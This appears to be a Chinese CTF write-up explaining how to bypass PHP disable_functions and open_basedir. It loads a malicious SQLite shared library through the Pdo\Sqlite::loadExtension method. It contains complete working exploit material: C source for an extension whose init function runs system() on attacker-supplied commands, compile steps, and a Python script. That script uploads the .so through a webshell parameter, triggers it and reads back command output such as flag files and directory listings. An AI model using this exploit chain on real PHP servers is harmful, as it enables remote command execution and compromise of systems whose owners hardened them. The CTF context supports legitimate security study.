简单rce的ctf题目绕过

1.ctf实验复现(rce)--- 解法1

XCTF final kinding Writeup && 强网拟态预选赛 Writeup

1.思路

在 Web 安全攻防中,PHP 的 disable_functions 往往是阻挡攻击者获取服务器权限的最后一道防线。当运维人员在 php.ini 中禁用了 system, exec, shell_exec, passthru 等一系列命令执行函数,甚至封锁了 putenvLD_PRELOAD 之后,看似固若金汤的环境其实仍可能暗藏玄机。

本文将以一次真实的 CTF 挑战为例,深入剖析一种较为冷门但极具威力的绕过技术------利用 Pdo\Sqlite 类的特性加载恶意共享库(Shared Object),从而实现远程命令执行(RCE)。

这不仅仅是一篇 Writeup,更是一次对 PHP 内核机制与扩展特性的深度探索。

2.环境侦察

1. 严苛的限制

拿到 Webshell 后,第一件事通常是查看 phpinfo()。在本次环境中,我们面临着极度严苛的限制:

  • disable_functions:

    复制代码
    system, exec, shell_exec, passthru, popen, proc_open, pcntl_exec,
    mail, error_log, apache_setenv, putenv, ...

    基本上,所有能直接执行系统命令的函数都被禁用了。连 putenv 也被禁用,意味着通过修改 LD_PRELOAD 环境变量来劫持 getuid 等函数从而触发系统命令的常见 bypass 手段也失效了。

  • open_basedir : 限制了文件访问路径,通常只能访问 Web 目录和 /tmp

2. 潜在的突破口

在绝望中寻找希望,我们重点关注已启用的扩展(Extensions) 。 在 phpinfo 输出中,我们发现了以下关键信息:

  • PDO Driver for SQLite 3.x: Enabled

  • SQLite3 Support: Enabled

  • sqlite3.extension_dir : no value (这意味着没有指定扩展加载目录,或者允许加载任意目录的扩展)

  • sqlite3.defensive : On (这是一个安全选项,限制了 SQL 语言的一些危险操作)

思考 :SQLite 数据库有一个强大的功能------load_extension()。它允许数据库加载外部的 C 语言库(.so/.dll)来扩展 SQL 函数。如果我们能让 PHP 里的 SQLite 加载一个我们上传的恶意 .so 文件,而这个 .so 文件的初始化函数里包含 system("cat /flag"),那么不就可以绕过 PHP 的函数限制,直接在底层 C 库层面执行命令了吗?

3.常规思路

尝试一:标准的 SQLite3 类

PHP 提供了一个原生的 SQLite3 类。

复制代码
try {
    $db = new SQLite3(':memory:'); // 在内存中创建数据库
    $db->loadExtension('/tmp/exploit.so');
} catch (Exception $e) {
    echo $e->getMessage();
}

结果Exception: SQLite Extensions are disabled原因分析 :PHP 的配置项 sqlite3.extension_dir 虽然为空,但 PHP 源码中可能默认关闭了 SQLite3 类的扩展加载功能,或者 php.ini 中有其他隐藏限制。此路不通。

尝试二:PDO SQL 注入加载

既然原生类不行,尝试使用 PDO 执行 SQL 语句来加载。

复制代码
try {
    $db = new PDO('sqlite::memory:');
    $db->query("SELECT load_extension('/tmp/exploit.so');");
} catch (Exception $e) {
    echo $e->getMessage();
}

结果SQLSTATE[HY000]: General error: 1 not authorized原因分析 :这就是 sqlite3.defensive = On 在起作用。该选项禁止了通过 SQL 语句调用 load_extension 等危险函数,防止 SQL 注入导致 RCE。这也是现代 PHP 环境的标准安全配置。

4.破局解法

在标准路途全部堵死的情况下,我们需要寻找 PHP 中"漏网"的接口。

通过查阅 PHP 官方文档和源码,或者利用 get_declared_classes() 遍历所有已定义的类,我们发现了一个特殊的类:Pdo\Sqlite

它是 PHP 8.x 中为了更好地支持类型系统而引入的,作为 PDO 的一个特定驱动实现。与通用的 PDO 类不同,Pdo\Sqlite 可能会暴露更多 SQLite 独有的特性。

关键发现 : 虽然 PDO 父类没有 loadExtension 方法,但是 Pdo\Sqlite 类实现了 loadExtension 方法

构造 Payload

复制代码
$db = new Pdo\Sqlite('sqlite::memory:');
$db->loadExtension('/tmp/exploit.so');

测试结果 :成功加载!没有报错! 原理推测 :PHP 开发团队在实现 sqlite3.defensivedisable_functions 等安全策略时,重点防御了 SQLite3 类和通用 SQL 执行层,但可能疏忽了 Pdo\Sqlite 这个较新的、特定的驱动类接口。这利用了安全防御中的一致性缺失(Inconsistency)

5.执行

1. C 代码编写 (exploit.c)

我们需要利用 SQLite 扩展的加载机制。当扩展被加载时,SQLite 会自动查找并执行一个名为 sqlite3_extension_init 的入口函数。

复制代码
#include <sqlite3ext.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
​
// 这是一个宏,用于声明 SQLite 扩展接口
SQLITE_EXTENSION_INIT1
​
/**
 * 扩展入口函数
 * 当 PHP 执行 $db->loadExtension('/tmp/exploit.so') 时,
 * 底层会调用 dlopen 加载 so,并执行这个函数。
 */
#ifdef _WIN32
__declspec(dllexport)
#endif
int sqlite3_exploit_init(
    sqlite3 *db, 
    char **pzErrMsg, 
    const sqlite3_api_routines *pApi
) {
    SQLITE_EXTENSION_INIT2(pApi);
​
    // 核心逻辑:执行系统命令
    // 这里我们选择读取一个临时文件中的命令并执行,
    // 这样做的好处是不用每次修改命令都重新编译 .so 文件。
    const char *cmd_file = "/tmp/1.txt";
    char buffer[512] = {0};
    FILE *f = fopen(cmd_file, "r");
    
    if (f) {
        if (fgets(buffer, sizeof(buffer), f)) {
            // 去除换行符
            buffer[strcspn(buffer, "\r\n")] = 0;
            // 调用系统底层的 system() 函数
            // 这个函数直接由操作系统内核处理,不受 PHP disable_functions 限制
            system(buffer); 
        }
        fclose(f);
    }
    
    return SQLITE_OK;
}
2. 编译

在 Linux 环境下编译生成 .so 文件:

复制代码
gcc -shared -fPIC exploit.c -o exploit.so
  • -shared: 生成共享库。

  • -fPIC: 生成位置无关代码(Position Independent Code),这是动态链接库所必须的。


6.脚本

为了在目标服务器上利用漏洞,我们需要完成以下步骤:

  1. 文件上传 :将编译好的 exploit.so 上传到目标可写目录(通常是 /tmp)。

  2. 命令下发 :将想要执行的 Shell 命令写入 /tmp/1.txt

  3. 触发漏洞:执行 PHP 代码加载扩展。

  4. 回显读取:读取命令执行结果。

以下是完整的 Python 利用脚本逻辑:

复制代码
import requests
import base64
​
# 目标 URL
url = "http://target-ip/index.php"
​
# 读取本地编译好的 exploit.so
with open("exploit.so", "rb") as f:
    so_content = f.read()
​
# Base64 编码,防止二进制数据在 HTTP 传输中损坏
so_b64 = base64.b64encode(so_content).decode()
​
print("[*] 正在上传恶意扩展...")
# 利用 file_put_contents 写入 .so 文件
php_upload = f"file_put_contents('/tmp/exploit.so', base64_decode('{so_b64}')); echo 'Upload OK';"
requests.post(url, data={"cdcas": php_upload})
​
print("[*] 正在执行命令...")
# 目标命令:读取 Flag
cmd = "cat /flag_cdcas > /tmp/output.txt"
​
# 构造最终的 PHP Payload
# 1. 写入命令到 /tmp/1.txt
# 2. 实例化 Pdo\Sqlite 并加载扩展
# 3. 读取 /tmp/output.txt 获取回显
php_payload = f"""
file_put_contents("/tmp/1.txt", "{cmd}");
try {{
    $db = new Pdo\\Sqlite('sqlite::memory:');
    $db->loadExtension('/tmp/exploit.so');
}} catch (Exception $e) {{
    // 忽略异常,因为只要 loadExtension 执行,我们的 system() 就已经跑起来了
}}
echo "\\nOutput:\\n";
echo file_get_contents("/tmp/output.txt");
"""
​
res = requests.post(url, data={"cdcas": php_payload})
print(res.text)

执行结果

复制代码
Output:
flag{hello_world_f659c7986315}

2.ctf实验复现(rce)--- 解法2

1.思路(同上)

2.环境+编码

首先在Linux虚拟机里面打开nginx和php

然后在/tmp目录下写一个exploit.c的c语言文件

复制代码
#include <sqlite3ext.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
​
// 这是一个宏,用于声明 SQLite 扩展接口
SQLITE_EXTENSION_INIT1
​
/**
 * 扩展入口函数
 * 当 PHP 执行 $db->loadExtension('/tmp/exploit.so') 时,
 * 底层会调用 dlopen 加载 so,并执行这个函数。
 */
#ifdef _WIN32
__declspec(dllexport)
#endif
int sqlite3_exploit_init(
    sqlite3 *db, 
    char **pzErrMsg, 
    const sqlite3_api_routines *pApi
) {
    SQLITE_EXTENSION_INIT2(pApi);
​
    // 核心逻辑:执行系统命令
    // 这里我们选择读取一个临时文件中的命令并执行,
    // 这样做的好处是不用每次修改命令都重新编译 .so 文件。
    const char *cmd_file = "/tmp/1.txt";
    char buffer[512] = {0};
    FILE *f = fopen(cmd_file, "r");
    
    if (f) {
        if (fgets(buffer, sizeof(buffer), f)) {
            // 去除换行符
            buffer[strcspn(buffer, "\r\n")] = 0;
            // 调用系统底层的 system() 函数
            // 这个函数直接由操作系统内核处理,不受 PHP disable_functions 限制
            system(buffer); 
        }
        fclose(f);
    }
    
    return SQLITE_OK;
}

然后,在 Linux 环境下编译生成 .so 文件:

复制代码
gcc -shared -fPIC exploit.c -o exploit.so -1sqlite3
  • -shared: 生成共享库。

  • -fPIC: 生成位置无关代码(Position Independent Code),这是动态链接库所必须的。

部署好sqlite3的前置环境

复制代码
apt install sqlite3 libsqlite3-dev

3.抓包

由于需要post传参,故而这里无法直接看到,使用brp

编译好以后上传文件,进行传参,在本地物理机下,使用brp抓包

传送,转为post传参

更改以后,进行提交然后可以看到相关php配置

4.base64编码和输出

将编码完毕的exploit.so文件从虚拟机传回物理机

将传输过来的exploit.so文件进行base_64编码

将编码过的输出结果重新进行url encode编码

在输入的末尾处添加所需内容

然后将编码输出的结果传入brp进行编码

然后提交 --- 正常情况都是无反应(15880长度上传即正常)

然后重新使用内容进行编码和解码 --- 查看flag的目录

复制代码
file_put_contents("/tmp/1.txt","ls -al / > /tmp/4.txt");
$db = new Pdo\Sqlite('sqlite::memory:');
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->loadExtension('/tmp/exploit.so');
echo file_get_contents("/tmp/4.txt");

然后重新进入brp输入和输出

查看所属目录

找到需索的目录后重新编码获得flag

相关推荐
运维有小邓@2 小时前
如何在 CentOS 主机上配置集中式 Syslog 服务器
linux·服务器·centos
市安2 小时前
负载均衡入门:HAProxy 双 Web 节点集群配置与验证
linux·运维·服务器·网络·nginx·负载均衡·haproxy
FMRbpm2 小时前
邻接矩阵练习1--------LCP 07.传递信息
数据结构·c++·算法·leetcode·深度优先·新手入门
强风7942 小时前
Linux—Socket编程TCP
linux·服务器·tcp/ip
ʚB҉L҉A҉C҉K҉.҉基҉德҉^҉大2 小时前
C++安全编程指南
开发语言·c++·算法
小屁猪qAq2 小时前
C++预处理过程详解
开发语言·c++·预处理·编译
_OP_CHEN2 小时前
【Linux系统编程】(二十二)从磁盘物理结构到地址映射:Ext 系列文件系统硬件底层原理深度剖析
linux·操作系统·文件系统·c/c++·计算机硬件·ext文件系统·磁盘寻址
从此不归路2 小时前
Qt5 进阶【8】数据库操作与数据访问层实战:用 Qt 搭一套好用的持久化“地基”
开发语言·c++·qt
一直跑2 小时前
通过所里的服务器连接到组里的服务器,然后可视化组里的文件和代码,并修改等操作(VScode/vscode/mobaxterm)
linux·运维·服务器